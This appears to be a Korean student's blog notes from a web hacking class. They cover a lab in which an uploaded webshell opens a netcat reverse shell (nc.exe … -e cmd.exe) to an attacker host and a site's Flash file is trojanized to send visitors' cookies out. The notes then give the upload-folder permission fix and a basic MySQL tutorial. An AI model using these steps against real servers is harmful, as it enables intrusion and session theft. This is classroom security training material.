오전 시간 자격증 시험때문에 빠짐
아마 저번시간에 마지막에 했던 실습 알려주신 듯 하다.
악의적인 파일 업로드해서 서버의 정보를 탈취하는 것이다.
흠.. 이거 내가 실습을 못했더니 틀리고 오타난 부분이 좀 있음 흐름은 맞지만 감안 좀 해야할 듯 ..
NC를 켜준다.
NC의 경로를 복사해서 cmd를 켜서 붙여넣고 NC의 경로로 이동한다.
NC를 실행할것 nc.exe -lvp 12345을 해준다.
(12345번의 포트를 리스닝 상태로 바꿔준다.)
새로운 cmd를 열어서 netstat -an을 해서 12345번 포트가 활성화 되어있는지 확인함
(누군가가 이 클라이언트의 접근할 수 있게끔 대기상태에 들어가는 것)
자신의 커맨드를 활용하는건 가능하고 웹서버의 cmd도 사용하는게 가능하다
클라이언트에서 웹브라우저를 켜서 192.168.1.20번으로 들어가 nc의 업로드된 상태를 확인해본다
(어디로 업로드 되었는지)
c:\inetpub\caml\board\nc.exe 192.168.1.10 12345 -e cmd.exe
(C드라이브 아래에 inetpub아래에 caml아래에 board아래에 nc를 실행하면서 192.168.1.10번에 12345번포트를 리스닝 상태로 해주면서 cmd를 얻어오는 것)
이것을 아까 획득한 쉘에다가 써주고 Run해주게되면 실제로 cmd를 보면 쉘이 넘어온걸 볼수있음.
서버에서 camel사이트를 들어간다. 우클릭해서 소스보기를 해보면
camel사이트에서 서치를 해준다 .swf를 검색해주고 main_flash.swf를 찾아준다.
그래픽파일 포맷이다.
이 파일을 내가 다운로드 받아서 내가 원하는 악의적인 코드를 심어서 그거랑 똑같은 이름의
파일을 새로 올린다.
(파일 업로드와 다운로드의 문제를 보려고 하는 것)
이 main_flash.swf 다운받겠다 이걸 다운받기위해 ftp가 필요한것이다.
Tftp를 켜서 서버의 저장되어있는 파일을 클라이언트에게 던져주게끔 클라이언트에서 작업해야함
그래서 우선 tftp를 켜두고 웹서버의 cmd에서 C:\로 C드라이브로 와준다.
tftp -i 192.168.1.10을 입력해줌 PUT c:\inetpub\camel\image\main_flash.swf
(클라이언트에게 줄것이기 때문에 PUT 으로 절대경로로 입력해줌)
이렇게 실행하게 되면 뭔가 실행되었고 실제로 파일을 보면 다운받아져있는걸 확인 할 수 있음
C드라이브 아래에 Action Scrip아래에 tftpd에 있다.
main_flash파일을 잘라내서 Action Scrip아래에 flash라는 폴더가 있다.
그 안에 swftool로 들어가서 붙여준다.
여기서 사용하려는 파일은 swfdump를 사용해서
클라이언트의 cmd를 튼다. 해당 아까 봤던 wsftools의 경로로 이동하고
swf dump.exe를 실행해주고 옵션으로 --width --height --rate main_flash.swf로 치면
swf의 X값과 Y과 r의 값을 알려준다.
다시 경로로 와서 sendcookie.as의 노트를 열어주면 간단하게 뭐가 써있음 대충 한번 보게되면
쿠키값을 얻어오는 것이다 192.168.1.30으로 넘겨준다. BT에 getcookie가 있으니까..
그리고 아래에 cookie의 소문자와 대문자를 잘 확인해주고 BT의 getcookie.php의 Cookie를 cookie로 바꿔준다.
Action Script아래에 mtasc파일 아래에 sendcookie파일을 붙여넣어줌
그리고 이 경로를 복사하고 클라이언트의 cmd에서 경로를 이동해주고
mtasc.exe를 실행하면서 -swf 옵션을 주고 sendcookie.swf -main -header 367:185:20 sendcookie.as를 해주면 sendcookie파일이 하나 만들어진다.
mtasc.exe -swf sendcookie.swf -main -header 367:185:20 sendcookie.as
sendcookie.as를 아까 확인한 크기인 367:185:20으로 설정해주는 것이다
아까만든 send.cookie를 복사해서 swftools로 옮겨준다. 이곳에 main_flash랑 sendcookie가 같이 있어야한다. 이걸 합칠 것이다.
cmd에서 해당경로의 위치로 이동한다. 이동하고 swfcombine.exe -o main_flash.swf -t sendcookie.swf main_flash.swf을 해준다.
이걸 업로드를 해주면 된다. 우리가 만든거 main_flash을 복사해서 업로드 해줄것이다.
이것을 ftp로 파일전송을 할꺼다 tftp에서 액션스크립트에 플러쉬를 보면 swftools를 가면 main_flash가 있어 경로를 지정해주면 된다.
웹 서버의 cmd에서 cd c:\inetpub\caml\image로 이동해주고 tftp를 해서 받아가게끔 해준다. tftp -i 192.168.1.10 GET main_flash.swf를 실행해보면 tftp에서 받아가는걸 확인할 수 있음
cmd에서도 successful이 뜬걸 확인할 수 있음
웹서버에는 기본서버가 아니라 우리가 업로드한 main_flash파일이 올라와 있을 것이다.
test를 해본다면 192.168.1.20에 접속만 한다면 BT에 쿠키가 계속 전달이 된다.
이것이 파일 업로드와 다운로드의 문제점을 본것이다.
파일을 열람했을 때 정보가 넘어가서 그 정보로 악의적으로 서버에 접근할 수 없게 막아주는 것을 알아보면
서버에 와서 인터넷 정보 시스템에 와서 camel에 보고 board에 업로드에 오고 우클릭해서 등록정보를 보게된다면 해당 등록정보를 확인할 수 있다.
아래쪽엔 실행권한이라는것이 있는데 스크립트를 없음이라고 해주면 실행이라는 권한이 없기 때문에 실행이 안된다.
이렇게 되면 업로드가 된다고 하더라도 업로드 된 파일을 실행할 수 없다.
camel에 들어가서 글을 쓴 파일에 webshell.asp파일을 눌러보게 되면 업로드 된 webshell이 오류가 뜨는 페이지를 확인할 수 있다.
주제를 전환해서 데이터베이스 측면을 공부할 것
스냅샷을 가장 처음으로 돌려준다. 핑 설정은 기본적으로 해준다.
일단 설치해줘야하는것이 있음 공유 폴더에서 apmsetup을 client에 가져옴
apmsetup은 웹서비스를 한번에 구성하는게 가능한 프로그램이다.
이건 아파치와 php 그리고 mySQL이 가능한 프로그램이다.
우선 이건 설치를 해준다.
깔려있는 APMSETUP을 실행해주면 백그라운드에 활성화 중이다.
업데이트는 해주지말고 cmd에서 확인해보면 80번과 3306번 포트가 켜져있는걸 확인할 수 있음
경로는 C:\APM-Setup에 있다.
우클릭에 콘솔을 쳐서 암호를 확인해준다. 암호는 apmsetup이고 확인을 눌러 암호를 입력해준다.
MySQL도 공유파일에서 다운받아주고 시작에서 MySQL로 들어와 Query Browser눌러주면 이런 화면이다.
Server Host는 로컬로주고 포트는 3306이니 써져있으니 둔다.
username은 root로 주고패스워드는 아까 봤던 apmsetup이다. OK를 누르게 되면 무언가 뜨는데 그것도 OK를 눌러준다.
그럼 이런 화면이 뜨는데 이것이 MySQL의 GUI이다.
처음 하게 되면 Schemata라는게 있는데 이것이 쉽게 생각하면 데이터베이스라고 생각하면 될듯
스키마타에서 기본적으로 만들어져있는 이것들을 metadata라고 함
데이터베이스에 저장되어있는 데이터를 설명할 수 있는 데이터이다.
저기 아래에 webhack은 우리가 만든것이다.
cmd로 와서 show databases;를 하게 되면 목록을 이렇게 보여준다.
우리는 webhack 데이터베이스를 선택해서 하면 된다.
테이블을 우선 만들어줘야함 그냥 show tables;하면 아무것도 없다. 하지만 meta GUI를 와서 schema를 확장해보면 보이는 이게 table 목록이다.
우리는 webhack의 tables의 목록을 만들기 위해서 이렇게 작성해준다.
그리고 cmd에서 복사 붙여넣기 해주게 되면 Query OK가 뜨게되면 잘 만들어진 것
생성하는 table의이름을 했고 이 테이블을 구성하는 요소로 ()안에 넣은것
이걸 구분하는것은 ,로 하는데 no,user_id ...이렇게 해서 6개의 요소로 만들었다.
각각의 요소에 오른쪽에는 integer은 정수를 나타낸다. varchar문자형이라고 생각하면 되고 오른쪽에 괄호 안에있는것은 길이를 나타낸다.
맨 위에 no의 요소에는 primary key가 있는데 테이블 내에서 역할은 테이블에 무수히 많은 데이터를 저장할것인데 그 데이터들을 구분할 고유 키의 역할
show tables;로 테이블을 확인해본다. 아까 만든 member라는 테이블도 확인해보면 테이블은 없지만 그 안에 데이터는 없다.
그 테이블을 넣기 위해서 이렇게 해서 넣어준다.
insert into member (no, user_id, name, user_pw, nickname, email)
values(1, 'jinho', '맹진호', 'wlsgh', '진호', 'mjh@naver.com');
이런식으로 친구까지 총 3개 넣어줌
확인하는 법은 select * from member을 하게 되면 내가 저장한것을 확인할 수 있음
강사님이 4:30분에 중요한 회의가 있다.
update부분이랑 delete부분을 이해하고 공부하고있으면 된다.
table에 데이터 수정하는 법
ex) update member set user_pw='4567' where no='2';
update 테이블 명 set 바꾸고싶은 요소 primary값이다.
table에 데이터 삭제하기
ex) delete from member where no='2';
'학원' 카테고리의 다른 글
2023/07/27 SQL Injection (0) | 2023.07.27 |
---|---|
2023/07/25 SQL 정의어(DDL), 조작어(DML) (0) | 2023.07.25 |
2023/07/21 XSS(파일생성) (0) | 2023.07.21 |
2023/07/20 크로스 사이트 스크립팅 (0) | 2023.07.20 |
2023/07/19 디렉터리 리스닝 (0) | 2023.07.19 |